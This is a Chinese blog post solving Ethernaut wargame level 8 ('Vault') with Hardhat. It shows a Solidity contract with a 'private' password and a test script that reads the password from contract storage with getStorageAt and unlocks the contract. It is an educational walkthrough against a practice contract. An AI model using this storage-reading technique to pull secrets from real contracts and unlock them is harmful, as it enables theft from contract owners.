{"content":{"title":"用Hardhat闯关Ethernaut题8 -vault","body":"# Vault合约\r\n## 任务：猜对状态变量`password`的值。\r\n\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\ncontract Vault {\r\n    bool public locked;\r\n    bytes32 private password;\r\n\r\n    constructor(bytes32 _password) public {\r\n        locked = true;\r\n        password = _password;\r\n    }\r\n\r\n    function unlock(bytes32 _password) public {\r\n        if (password == _password) {\r\n            locked = false;\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n这道题有个迷惑的关键词 `private`，会以为`password`是私有的，但其实区块链上没有什么是绝对私有的，`private`更多的是一种作用域。解题思路：使用getStorageAt和[状态变量在储存中的布局](https://learnblockchain.cn/docs/solidity/internals/layout_in_storage.html)概念。\r\n\r\n## 测试脚本：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\n\r\ndescribe(\"test\", function () {\r\n    var Vault;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const VaultInstance = await ethers.getContractFactory(\"Vault\");\r\n        Vault = await VaultInstance.deploy(ethers.utils.formatBytes32String(\"ETH\"));\r\n    });\r\n    it(\"hack test\", async function () {\r\n        const r = await ethers.provider.getStorageAt(Vault.address, 1);\r\n        expect(ethers.utils.parseBytes32String(r)).to.equal(\"ETH\");\r\n        await Vault.unlock(r);\r\n        expect(await Vault.locked()).to.equal(false);\r\n    });\r\n});\r\n```\r\n\r\n## 运行结果：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/jaFO29u5632417054a6e4.png)\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmTXc8RadhL53pRg8CkDa7eTN8EDsqTazwmkBMZFxc81oi","timestamp":1668564244,"version":1}